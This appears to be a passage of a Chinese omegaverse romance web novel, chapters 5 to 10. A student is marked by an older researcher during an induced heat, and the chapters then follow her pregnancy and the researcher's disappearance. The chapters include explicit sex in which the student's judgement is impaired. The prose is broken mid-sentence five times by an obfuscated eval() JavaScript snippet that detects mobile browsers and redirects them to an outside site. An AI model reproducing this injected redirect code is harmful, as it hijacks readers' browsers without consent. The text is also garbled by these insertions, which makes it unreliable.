等店员将咖啡袋递到女人手里的一瞬间,眼看女人要推门离开,不知怎么地,她下意识站起身,追着那人走了两步。 但一出咖啡厅,她就僵在了原地。 混杂的信息素如同被无数个打碎的香水瓶,浓郁得惊人,发呛刺鼻,像是没有形体的浓烟,冲入鼻腔。 后颈腺体一阵针扎似的疼痛。 她瞬间知道刚才那股若隐若现的难闻气味的来源。 ——不远处发生了信息素暴乱。 与此同时,不止她意识到了此刻的现状。 刚才还算平静的场面突然焦躁不安起来。 有人尖叫一声。 然后一切陡然变得混乱起来。 她茫然地看着周围如同煮沸的一锅粥,惊叫声、逃跑的脚步声,或者还有哭声,仿佛被不高明的厨师杂乱无序地炖煮在一块。 除了这个女人。 她被眼前的场景吓僵了,下意识呆呆地追着女人的脚步。 大概是因为女人在混乱的人群中显得太冷静。 ……而且,女人身上的信息素很好闻。 天然的、难以抗拒的吸引力,让她理智微微塌陷了一块。 她盲目的跟随让女人突然停下来脚步。 女人不动声色地皱眉扫视了周围的环境,又看了眼她酡红的脸颊,转身冲她招手。 “过来孩子。” 女人的车就在不远处。 她浑浑噩噩地被牵上了车。 女人冷静地发动车子。 混乱很快被抛在身后。 她的状况却没有变好,缩在副驾座位上。 后颈的腺体处更是滚烫得不像话。 一股股热潮不断席卷着她。 原来热到极致会觉得冷,她浑身打颤,意识逐渐昏沉。 车内多了股陌生的气味,某种坠着露水湿漉漉的花香。 是她的信息素味道。 她分化了。 不止分化,她还进入发情期了。 可她意识到这个事实时已经晚了。 她手心潮热,寻觅着握住了女人的手。 女人动作顿了一下,侧头看她,停下车,大概是在表达疑惑拒绝的意思。 可她理智已经混乱,呼吸也有些急促。 然后,她不受控制地吻了女人的唇。 5. 第 5 章 女人的唇柔软微凉。 不,是自己的体温太高。 在两片唇相触的瞬间,尤昙忍不住发抖,舒服得让她几乎要哭出声。 她从没经历过。 其实也不懂接吻。 只会捧着女人的脸,青涩地磨蹭,用舌尖舔舐,湿软地含着女人的唇瓣。 但这远远不够。 浅尝辄止的动作非但没有缓解她的欲求,反而从更深处翻涌出一阵空泛的焦渴。 车内信息素气味愈发浓郁,不仅有她的,还有女人的。 她的动作愈发急促,甚至开始出现无法排解的焦躁。 女人眼神还算冷静,但显然也不好受。 尤昙才分化完成,信息素青涩又不加收敛地外放,也在不断影响着女人。 两人匹配度高得超乎预料。 高到哪怕在刚才混乱的情形中,仍然能识别到对方,并本能地感到愉悦。 更别说现在尤昙又根本不会控制自己。 女人闭了闭眼,按捺住自己摇摇欲坠的理智。 她按住女孩的肩膀,试图从车里找到抑制剂,让尤昙冷静下来。 但她推开的动作却被尤昙当做了拒绝。 尤昙更加不肯放开,滚烫红晕的脸颊蹭在女人胸口:“不要。” 滚烫的眼泪掉在女人颈侧的皮肤上。 鼻尖那股花香变得更加浓郁。 “老师,标记我。” 她不知道要怎样称呼女人,只是呼吸急促,带着哭腔语无伦次地恳求:“老师。” 小声的,可怜的,本能重复着。 “标记我。” “……” 女人一双青灰色的眼睛在昏暗的光线下变成奇异的深黑色,鼻尖沁出薄汗,压抑着呼吸:“确定吗?” 尤昙毫不犹豫地点头。 但在女人真正想要标记她时,她又张着唇小口喘气,又害怕又期待地命令道:“疼,你要轻点。” 这次女人没有再给她犹豫的机会,握住她的手。 过了很久,又似乎只有一瞬。 人在享受时,其实感觉不到时间的流逝。 明明一开始她还因为突然而至的分化感到慌乱,但很快,所有恐慌都消失了。 活像是喝醉了酒,不,比那更甚。 “好孩子,你叫什么?” “……尤昙。”她尚未从余韵中回复过来,声音发抖。 她其实并没有听清女人在说什么,只是凭借本能在回答。 女人低下头,帮她清理身体,而后直起身找到了自己的外套和散落的证件。 其中有个证件格外眼熟,是她和姐姐学校的通行证。 但意识昏沉,光线暗淡,尤昙泪眼朦胧,只来得及看清了那张通行证上的名字:沈…… 沈什么? 发觉女人要离开的意图。 尤昙紧紧抱着女人的脖子不肯放开。 然后哼了声,拽着女人的衣领往下拉,不知餍足地侧过脸,朝她露出了自己的后颈——更确切地说,是颈后肿涨不堪的腺体。 她不肯放手又迫不及待的动作逗笑了女人。 女人优雅温柔的笑声在狭小的车内回荡碰撞,又送入她的耳朵。 女人揉了揉她潮湿的睫毛,帮她擦掉眼泪,语气温和却毫不留情,强迫她坐回去:“不可以。” 已经太多次。 再继续下去会受不了的。 尤昙已经冷静不少,虽然还不清醒,但足够听话,老实地不动了。 女人的波浪长发散落,衬衫被扯掉两颗纽扣,露出了一片白皙皮肤。 整理好自己的仪容, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17483824|201906||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看了眼尤昙的状态,女人动作顿了顿,还是从车里找出了一针抑制剂放进了她手里。 抑制剂和市面上的不太一样。 但现在普通抑制剂或许不够起作用。 “这还有针抑制剂,太难受的时候用。” 见她懵懵懂懂的模样,女人又不放心地将抑制剂放进了她裙子侧边的口袋里。 “我接下来还有工作,没办法继续留下。” 在此期间,女人的手机的确响了不止一次,只是两人都没有理会。 尤昙目不转睛地看着她。 “这里很安全,自己把车锁上,先好好睡一觉。” 女人给她演示了一遍,然后将一张硬质名片塞进她的掌心。 “上面有地址和通讯号,可以联系到我。” 尤昙还在看她。 黑发柔软黏在脸侧,一张小巧的脸泛着红晕,黑眼珠湿润哀哀,渴望地随着她的动作转动。 可怜的小家伙。 她已经起身,却突然改变了主意:“在这里等我,两个小时。” “可以吗?” 听到这句,尤昙安静下来,意识朦胧地点点头。 得到了一句女人的夸赞:“真乖。” 气息洒落在她的面颊上,女人在她额头上吻了吻,离开了。 车内安静下来,只剩她一人。 刚刚完成分化,又被迫进入发情期,虽然大脑仍处在兴奋状态,可身体已经极其疲乏。 抑制剂又让她安定下来。 属于女人的气息仍然浓郁,在鼻尖飘荡,在狭小的空间里密实地裹住她,十分安心,她昏昏沉沉闭上眼睛。 然后再有意识时。 “昙昙!” 只有姐姐会这样叫她。 睁开眼,是姐姐尤卉一张焦急带泪的脸。 6. 第 6 章 主讲人似乎出了事故,比预定的时间晚到了二十分钟,讲座自然也晚结束了二十分钟。 尤昙说要等她一起回家,天色太晚尤卉不放心,最后在讲座的提问环节提前溜了出来。 天色已经暗透。 尤卉却迟迟见不到人,电话也一直没人接听。 一出来就听说学校附近不久前出现了一场信息素暴动。 尤昙又恰好在敏感的分化期。 尤卉几乎吓坏了。 差点要报警时,终于找到了妹妹。 作为这场信息素暴乱的受害者之一。 联邦有关部门对于此类情况,处理得相当有经验,也相当迅速。 毕竟信息素并不完全稳定,就像是一颗定时炸弹,一旦抑制剂失效,自身又进入发情期,就可能出现失控。 事故周围一圈被不留痕迹地清理干净,连只发情的鸟都飞不出去。 当然,原本工作流程没有这么繁杂细致。 但是因为这是这个月第三起了,上面下了规定,既然没法完全杜绝此类事故,那就试将影响降到最低。 这次清理得格外细致,并扩大了范围。 也是因此,才发现了在事故外围,原本不该被发现的尤昙,还废了大力气把人救出来。 工作人员说妹妹远离了事故中心,没有受到什么伤害,做了检查,身体特征一切平稳。 但尤昙闭着眼睛,脸颊晕红,浑身上下散发着浓重的属于alpha的信息素,已经被标记了。 脖颈处还有显而易见的吻痕,腺体更是已经肿得不成样。 这叫没受什么伤害? 看清妹妹的状况的一瞬间,尤卉有些崩溃。 如果尤昙真的出了什么事…… “是谁干的?标记你的是谁?” 大概是那一针抑制剂起效了。 尤昙睁开眼睛,头脑还算清醒,却对眼前的场景显得茫然。 现在过去了多久? 听到姐姐的问题,她想起来女人临走前对她说的话,低头寻找,却只在身上找到了女人给的抑制剂。 没有那张名片。 工作人员的首要任务是清理事故现场,确保人员安全,一张无关紧要的名片,大概是被掉在车上忽略了。 尤卉在她面前一直都是姐姐样。 两个母亲不在,尤卉一定程度上被迫承担了属于家长的责任。 尤昙几乎没见过尤卉眼眶泛红,有些崩溃的模样,也不免被带得慌乱起来,她回忆着和女人相处时的混乱细节,那张学校通行证:“是……沈老师。” “沈老师?” 有那么一刻,尤卉脑海里的确浮现出了另一个人。 在半个小时前讲座上她见过的另一个沈老师。 但立刻笃定地定格在了另一个人身上。 沈遐云。 因为尤昙手里的这支抑制剂。 这是沈遐云主导的项目,她一年前曾经参加过其中一个批次的实验,因为成绩优异被导师内推进去的,当然,做的是一些边角料工作。 不过等项目彻底落地,投产使用,就是能写进履历里的金灿灿的个人经验。 而实验严格保密,哪怕已经进入尾声,核心研发早已完成,而她做的是一些打杂工作,仍需要签署条款冗长的协议。 可现在,出现在了妹妹身上。 尤昙还要解释,比如她是自愿的,而且女人帮了她。 虽然被诱导分化并进入发情期也是因为女人,但女人的确带着离开了事故现场。 不然她可能真的会受到伤害。 是的,一清醒过来,她就反应过来自己当时的反常是因为被诱导分化了。 但是尤卉已经听不进去了。 尤昙身上的信息素浓得过分,是个人都知道发生了什么。 熟悉的面容,熟悉的信息素,几个小时前她还哭着抱着这人的腰,听话地等在车里。 但现在,沈遐云态度温柔,却像是对她有些陌生,看着两个突然找上门的学生:“找老师有什么事吗?” 她还没说话,姐姐却着急了。 撩起她的头发,露 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17483825|201906||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出了后颈的腺体。 “沈老师这么快就不记得了吗?” 沈遐云的神情微妙顿了顿。 腺体肿胀不堪,哪怕贴了抑制贴,都能味道身上散发的alpha信息素的味道。 能够看出标记她的人也罕见地有些失控。 失控? 沈遐云不知回忆起来什么,突然露出一个笑,语气诚挚,态度自然,捧着她的脸,在她泛着红晕湿漉漉的眼上吻了一下。 “抱歉。” “我会负责的。” 这就是她和沈遐云的初识,混乱、巧合、充满未知。 在一起后,她还向沈遐云抱怨过,怎么不久前还让她等着,结果再见面时就装作不认识她。 沈遐云笑着抱住她,半真半假:“大概是年龄大了,记性不好。” 两人亲密时,沈遐云很喜欢从背后抱住她,咬住她的腺体。 大多数时候,沈遐云脾气都很柔和,只有这时,会显露几分强势,哪怕她啜泣颤抖,信息素也会一遍遍不由分说地注入、覆盖。 …… 很久没有睡个好觉了。 她并不敢住在太偏僻的地方,选择的都是繁华地带的酒店。 担心自己一个人会出现意外,窗外来来往往车流声让房间里显得不那么寂静,好像她身边有人存在,但不间断细碎嘈杂的声响也会让人精神衰弱。 久违的安心,让她这一觉睡得太沉太久,醒来时天色已经亮透。 睁眼看到陌生的摆设,她摆脱梦境的影响,茫然了好一会,才想起来自己此刻在沈缎青家。 她匆匆洗漱下楼,女人已经在餐桌上等她了。 做了一整程漫长的梦,在看到女人的脸的那一刻她不可避免地晃了下神。 见她终于醒了,沈缎青对她笑了下:“睡得好吗?” 长辈的口吻。 尤昙回神,不好意思地点点头,脚步不自觉慢下来,脸有些红。 窗外光线明亮,下一秒,女人的目光落在她的小腹,语气温柔地问她:“那宝宝呢?” 7. 第 7 章 听到这话,尤昙下意识摸了摸自己的小腹。 小腹平坦,其实什么都摸不出来。 如果不是这段时间惊魂未定,身体虚弱到出现异常,她不可能去医院,大概需要再过一段时间才会发现这个孩子的存在。 她知道沈缎青主动聊起这个话题,其实是想让她放松一些。 因为沈缎青并没有一定要她回答,只是笑了下,就招呼她:“来吃早餐。” 但她还是小声说了句:“宝宝也很好。” 不过她的声音太小,女人似乎没有听到。 现在时间不早了,但是餐桌上的早餐还是温热的。 今天还是工作日,沈缎青却仍然在餐桌上等她。 按照沈缎青昨天急匆匆赶回来的情况,大概是专门抽出时间等她。 “一会带你做个全面检查。” 尤昙抬头看向女人。 “不用害怕,只是担心你的身体。” 耳边是女人轻声细语的声音。 面前被放了一小碗煮得软糯的肉片粥,微微冒着热气,恰好是能入口的温度。 沈缎青示意她先吃饭。 尤昙一时没动。 说实话,她没想到会这么顺利,以至于她现在还有些不可置信,沈缎青就像她想象一样,愿意照顾她接纳她。 就像个真正的母亲一样。 虽然她也该叫沈缎青妈妈。 沈缎青注意到她的目光,笑了下:“不合胃口吗?” 她慌忙收回目光,摇摇头,拿起餐具。 …… 医生对她印象深刻,实在是现在现在体外孕育已经成为趋势。 哪怕她们已经是联邦中心区最大的医院,一周也接不到几例自然孕育的病例。 更何况尤昙昨天还一个人来过。 医生开了两张检查单,一张检查单项目多,一张检查单项目少。 那张项目多的给了尤昙。 另一张医生示意沈缎青拿着。 尤昙连忙要接过。 医生欸了声,阻止:“那就是她的。” “不是你的伴侣吗?” 两人面面相觑。 “愣着干什么?快去吧。”医生见两人没动,催道,“现在时间不早了,再晚点有的检查就只能拖到明天了。” “……” “不,这是我的……”妈妈。 最后两个字还没说出口。 沈缎青已经默认似的拿起来那张检查单。 “没关系,只是检查身体,没什么坏处。” 这个理由没问题。 就是有点怪怪的。 但她没质疑沈缎青的决定,没说什么。 反而医生听到这话有些不乐意:“当然得做,怀孕又不是你一个人的事。” alpha虽然在怀孕前期轻松一点,但是也一直受到omega的信息素影响,中后期身体逐渐变化,乳/房胀痛,分泌乳汁,承担孩子的喂养工作。 这和怀孕一样重要。 如果有什么问题,当然得提前查出来。 昨天尤昙来做检查的时候,医生就说过下次检查要伴侣一起来。 尤昙还有点犹豫。 沈缎青握住她的手腕,带着她从诊室里出来了。 昨天检查时她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17483826|201906||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 还魂不守舍的。 她心里其实对医院有本能的畏惧,小时候她常常生病。 小孩子抵抗力低,生病很正常。 姐姐也只比她大几岁,要一个小孩照顾另一个小孩是强人所难。 一般这个时候是学校里的老师带她来医院,帮她挂号检查,她乖乖跟在老师身后。 老师虽然很尽责了,却不会像真正的家长一样照顾她的情绪,在她难受时,将她抱在怀里,安慰她哄她:“宝贝不哭了。” 如果不是逼不得已,她并不喜欢医院,也不喜欢医院带来的感觉。 但是今天奇怪地没有那种茫然失措的感觉了。 她做完一个检查,从检查室出来。 女人就在门外等待,手里拿着她的外套,碰了碰她的脸颊:“难受吗?” 刚才的检查时间有点长,器械的嗡鸣声还在耳边环绕。 尤昙呆呆看着女人。 沈遐云也很可靠,两人在一起的三年里,对她包容体贴,是个完美的伴侣。 但和沈缎青此刻给她的感觉还是不一样。 明明女人对她关心的话都很克制,或许是两人天然的身份差距和年龄差距,让她第一次有了可靠关爱的长辈的实感。 因为和沈遐云的婚姻,她和沈缎青产生了链接,女人变成了她的长辈。 模糊的念头压下去,迎着沈缎青关切的目光,咽下呼之欲出的那一声妈妈。 她默默摇摇头:“不难受。” 做完所有的检查,已经是接近傍晚了。 然后在回家的路上,她意外枕着沈缎青的肩膀睡着了。 没有做梦。 8. 第 8 章 两个多月过去,由新型抑制剂带来的风波似乎已经平息了。 新闻也已经有了新的热议新闻顶替。 似乎两月前激愤的情绪早已消失得无影无踪。 尤昙也是后来才知道,当时她分化时沈遐云给她的那支抑制剂是她们业界小规模内部使用的第一批。 自己相当于首批使用者。 虽然是意外。 电视里,已经飞快出现了不少家宣称新型抑制剂的替代品,正在热火朝天地做广告。 市场空缺,肉眼可见的利益,没有商人会放过。 广告词也是意有所指:更安全,百分百不会失效。 之前沈遐云主导的那个项目,从一上市投产也是宣称更加安全。 事实也的确如此。 如果不是那一例事故,新型抑制剂表现优异,两年来还没有出过任何问题。 说到底还是这两年来,安稳平静的环境会让人不自觉地恐惧回到之前的混乱无序。 一年近十几例的信息素暴乱,虽然听起来不多,但是每次都能波及上百人。 且发生地点随机,谁也不能确保一定不能发生在自己身上。 因此大多数人才会在知道一向信赖的抑制剂出现问题时反应如此激烈。 不过,现在想来,消息能传播如此快,又恰到好处地放出沈遐云卷款逃跑的消息来煽动情绪,其中大概也少不了同行的推波助澜。 当时事情闹得轰轰烈烈,联邦上下几乎一边倒地抵制,但是两个月过去,情绪逐渐平息下来,已经开始有人回过味来。 平心而论,新型抑制剂的确比以往的效果更好、更安全,这是无可辩驳的的事实。 而且那次事故,其实没造成什么恶劣影响。 退一步讲,哪怕抑制剂真的有概率失效,那又怎样,起码也比以往那些更好用。 开始有人迟疑倒戈,开始呼吁新型抑制剂重新投产上市。 不过,也有其他公司已经抓住机会,顺势推出自己的产品,极其相似的宣传语,主打安全、起效快、效果持久。 不过是不是真的还未可知,但的确有人买账。 吵吵嚷嚷的广告语在耳边环绕。 一转眼,她已经在沈缎青这里住了两个多月了。 沈遐云还是没有任何消息。 也对,沈遐云已经卷款逃跑,怎么可能还会回来呢? 或许是她心里还抱着某种不明不白的期待。 明明在事情发展的前一天,沈遐云还问她有没有想要去旅行的地方,要她好好挑选,这周就去。 这周? 尤昙觉得妻子的态度有些异常,似乎有些着急:“你不忙吗?” 似乎是某项研究突然出现了问题,沈遐云最近一段时间格外忙,有时甚至连回家的时间都没有,只能睡在研究所。 听到她这么问,沈遐云只是笑了笑,避重就轻:“就算再忙,还是能抽时间陪我的宝贝。” “我前段时间太忙了,接下来该好好休息了。” 沈遐云从身后抱住她的腰,嘴唇试探着碰了碰她的耳垂,信息素也似有若无地在鼻尖飘荡、入侵。 尤昙瞬间脸红起来。 自从提出想要一个孩子后,两人亲密的次数相当频繁,甚至已经到了过分的程度。 沈遐云似乎打定主意一定要让她怀孕。 以至于,只是闻到妻子的信息素,她的身体就已经做好了准备,湿漉漉的准备迎接。 沈遐云像是早就预料到似的,转过她的脸,直勾勾地注视着她。 吻从她的脸颊,磨蹭到了鼻尖,向下,轻轻咬住了她的唇瓣。 “尤尤。” “''张开。” 杂乱的呼吸,胸口起伏。 尤昙意识昏沉,浑身汗湿,眼神茫然地看着沈遐云。 沈遐云又背后抱住她,信息素和缓地侵入围拢过来。 察觉到她的意图,尤昙腰一颤,立刻摇头,又慌又急:“不要。” 沈遐云明知故问:“为什么?” 她脸红扑扑的,捂住小腹,小声:“坏掉了。” “真的吗?我要检查一下。”沈遐云却不肯放过她,握住她的脚踝,笑声清润,“我的宝贝哪里坏掉了。” 尤昙啊了声,又被她抱回怀里,吻了个正着。 这就是她和沈遐云卷款和情人离开的最后一天。 沈遐云表现得没有任何异常。 但第二天,沈遐云没有回家。 她没有看新闻的习惯,以为是研究又出了什么问题,绊住了妻子的脚步。 直到第三天,她发觉给沈遐云的消息迟迟没有回复,意识到不对。 哪怕沈遐云再忙,实验再重要,只要结束手头的工作,就一定会立刻回复她的消息。 这种接近一天时间联系不上的情况根本没有过。 她急忙联系研究所的工作人员,担心出了什么事。 结果当天晚上先从电视里看到了沈遐云带着情人卷款逃跑的新闻。 她这才反应过来,沈遐云只是给了她一个虚假的承诺。 电视里,又跳出了另一条抑制剂广告,夸张造作的广告语,莫名让人心烦意乱。 尤昙关掉电视,气氛瞬间安静了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17483827|201906||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 上次做了全面检查,除了身体有些虚弱外,没有任何问题,检查结果一切良好。 沈缎青给她约了医生定期上门检查,顺便调养身体,每个月两次。 今天正好是医生上门的时间。 怀孕大概三个月,她的小腹开始有弧度,极其轻微,如果不是事先知道里面已经有了另一个生命,她只会觉得自己胖了些。 沈缎青的工作似乎也并不轻松,没有那么多空闲时间。 但是每次检查,还是会陪在她身边。 医生检查完毕,照旧冲两人露出了一个宽慰的笑。 “状态还不错,不用担心,保持好心情。” “不过,伴侣间可以适当亲密。还像现在这样相敬如宾可不行。随着孩子渐大,两位都需要进入状态了,这对之后的喂养工作也有好处。” 唯一的问题是,这个医生也将沈缎青当成她的伴侣了。 大概是沈缎青样貌过于年轻,医生把两人当成同龄人。 不过即使比她大二十多岁又怎样? 这样的年龄差距在联邦并不罕见。 还有相当一部分人就喜欢这样的年龄差距,越大越好。 甚至还有年龄相差百岁的伴侣,当然这是极端案例。 就连尤昙也不得不承认,她也更渴望一个年长的伴侣。 如果当初发生事故时标记她的是个同龄人,她或许不会和对方顺利走到结婚生子这一步。 尤昙有些不好意思,脸颊晕红,下意识看了眼女人。 听到医生略带私密的话,女人脸色温和平静地颔首。 大概是觉得没有解释的必要? 又或者是不想触动她的伤心事? 如此坦然的态度反而让她觉得自己太大惊小怪了。 这次检查没有什么问题,医生建议修改了部分食谱后,结束工作便离开了。 “尤昙。”沈缎青对她笑了下,一副有话要对她说的意思。 哪怕两人已经相处两个多月,沈缎青的语气也相当温柔。 但当沈缎青连名带姓叫她时,尤昙还是总有种被老师点名的感觉。 老师更偏爱性格乖巧的孩子,听话时更能得到老师的夸奖。 这是从小养成的习惯。 她规矩地坐在沈缎青面前,有些忐忑地看向女人。 女人像是有什么重要的事要和她商量。 果然,接下来女人的话证实了她的猜想。 按照联邦法律,沈遐云无故消失三个月,她们的婚姻关系可以由尤昙单方面解除。 沈缎青问她要不要解除婚姻关系。 9. 第 9 章 尤昙顿住。 要和沈遐云离婚吗? 不过在此刻,这个问题更像是沈缎青在委婉询问,她想好要留下这个孩子吗? 毕竟,沈缎青之所以愿意细心照料她这样一个毫不相干的人,是因为她肚子里的孩子。 尤昙其实不太喜欢孩子,沈遐云也并不喜欢孩子。 不过她的不喜欢可以更准确地被替换成另一个词:恐惧——对成为一个母亲的恐惧。 她没怎么见过母亲,又怎么会知道要怎样做一个母亲。 可看到可爱的宝宝她还是会忍不住会心一笑。 但沈遐云和她完全不同。 她记得有一次,和沈遐云研究所的同事春游。 沈遐云对这种集体活动并不热衷,但很乐于和她一起去。 两人当时正在热恋期。 尤昙还没毕业,当然也有大把的空闲时间。 沈遐云相当一部分同事都有了孩子。 小小一只,短手短脚,在草坪上闹哄哄地跑来跑去,气氛一时很热闹。 当然,没有一个是通过自然孕育出来的,都是体外孕育。 体外孕育出来的孩子和母体相似性更高。 于是,一大一小,相似的脸庞,哪怕尤昙对沈遐云的这些同事并不算特别熟识,也能像做连线题一样,把母亲和孩子两两串联起来。 作为在场少数没有孩子的情侣,尤昙和沈遐云有些格格不入,但是并不妨碍她看着眼前极其温馨的亲子互动。 有个孩子吧唧一下摔在地上,像个橡皮鸭子哼哧了一声,又自己爬起来。 尤昙看着这一幕,抿唇笑起来,一侧头,沈遐云正在专注地看着她。 那双灰青色的眼睛倒映着她的身影。 “看我做什么?” 尤昙被盯得害羞。 “那我应该看谁?” 尤昙:“看宝宝。” 沈遐云随意看了一眼草地上的小孩,微笑道:“那只是些母体基因的劣等复制品。” 周围太吵闹,她的声音太轻,简直像自语,这句尤昙没听到,啊了声。 沈遐云笑着转头看她:“你才是我的宝贝,我只想看你。” 性格使然,哪怕沈遐云每次说这种听起来很俗气的情话,也总让人很心动。 大概是沈遐云的语气太真诚了。 尤昙红着脸垂下睫毛:“……哦。” 那次春游,在同事们都在草地上玩,她们在草地上的小帐篷里偷偷接吻。 沈遐云性格温和,虽然没说什么,但这种态度已经说明了一切—— 她不喜欢孩子。 所以一开始她没料到沈遐云会提出要孩 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17483828|201906||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子的事。 但既然两人已经结婚组建家庭,或许就会不自觉地渴望有一个自己的孩子? 自己的孩子,只属于她们两个的孩子,流淌着她们的血缘基因,加上了这些限定词,是不是就不一样了? 尤昙不确定。 但沈遐云表现得很期待。 且真心实意。 对沈遐云的依赖让她不会怀疑妻子的决定。 而且沈遐云给了她信心。 沈遐云是个近乎完美的伴侣。 如果是她和沈遐云一起有了孩子,她们应该能成为两个合格的母亲吧。 起码,沈遐云应该是个合格的母亲。 尤昙回过神来。 她不想接受沈遐云已经抛下她,可是现实又逼迫她不得不接受。 如果离婚,她不需要留下这个孩子,也不应该留下这个孩子。 沈遐云既然能够毫不留情地卷款带着情人逃跑,她也没必要保留这段婚姻关系。 但思索片刻,她对上沈缎青温柔询问的目光,手指无声攥住膝盖处的布料,有些警惕不安地摇摇头。 “不。” “我还没想好……” 大概没料到这么简单的事情还需要犹豫,沈缎青脸上第一次没什么笑意,平静地扫过她迟疑的面庞:“当然,这是你的权利。” 10. 第 10 章 尤昙本能察觉到女人似乎不太高兴。 可又说不上来为什么。 只觉得这种情绪有些熟悉,就像是当时,沈缎青知道她怀孕时的情绪。 虽然沈缎青并没有表现出什么,甚至脸上重新带上了笑意:“我能知道是为什么吗?” 尤昙垂下眼没说话。 沈缎青突然问:“你还喜欢遐云?” 不。 尤昙在心里下意识否认。 三年的感情并没有那么容易被割舍。 哪怕沈遐云一声不吭地将她抛下,她也没办法完全说出自己对沈遐云已经没有任何感情。 可她此刻的犹豫,却并不因为这个原因。 尤昙迟疑了片刻,想要摇头,但是想到了什么,又生硬地顿住了。 气氛一时有些冷淡。 她张了张嘴试图再说点什么,可是女人已经笑了笑,起身:“好,我知道了。” “我还有工作,今晚可能会回家晚一点,不用等我一起吃饭。” 语气平静。 却让她心头猛地一跳。 她站起身,沈缎青的动作却比她更快。 她盯着女人离开的背影,一面觉得没什么,可一面开始控制不住地多想。 因为女人脾性温柔,第一次态度有些冷淡? 其实也算不上什么冷淡,明明也对她笑了。 可她心头就是莫名不安。 或许还有一部分她甚至没有意识到的原因:孕期的omega本能对于伴侣的依赖和需求。 沈遐云不在,沈缎青恰到好处的出现和陪伴无形中已经填补了她的需要。 相似的信息素,温柔的话语,贴心的关照。 哪怕她并没有这个想法,她心里此刻只当沈缎青是长辈。 可是身体的本能已经比她先一步做出了选择。 她并不是不理解沈缎青为什么这个时候问她这个问题。 因为她虽然说着想要再考虑考虑,可其实已经没有什么犹豫的余地。 随着腹中的孩子越来越大,她会越来越需要伴侣在身边,需要alpha的信息素安抚。 单靠她一个人,她没办法顺利将孩子生下来,即使生下来了,之后又该谁来养育呢? 除非她能够找到一个愿意接纳这个孩子的新伴侣标记她。 换言之也就是给孩子找一个新母亲。 但去哪里找这样一个合适的人选呢? 最简单的方法当然是不要这个孩子。 omega怀孕,需要alpha提供的安全感,需要alpha的信息素安抚,同样,alpha标记了伴侣,让伴侣怀孕,也需要omega的信息素来抚慰。 此时的alpha如果没有伴侣的抚慰,会逐渐换上信息素紊乱,这是一种无法逆转无法自愈的疾病。 如果有爱,这就是再自然甜蜜不过的陪伴,如果没有,这就是约束。 沈遐云能够毫不犹豫地抛下她,不就是笃定她不会留下这个孩子吗? 可是凭什么呢? 大概缘于幸福的落差,导致她产生了某种 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17483829|201906||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 轻微的报复心理——她很清楚,她心里在记恨沈遐云。 当然,还有一个更重要的原因。 她和沈缎青的关系是因为她和妻子沈遐云的婚姻。 剔除这层并不牢固的关系,如果,她答应了离婚,沈缎青还会用现在温柔的态度对待她吗? 大概不会了。 可似乎这两个原因哪个都无法开口和沈缎青直说。 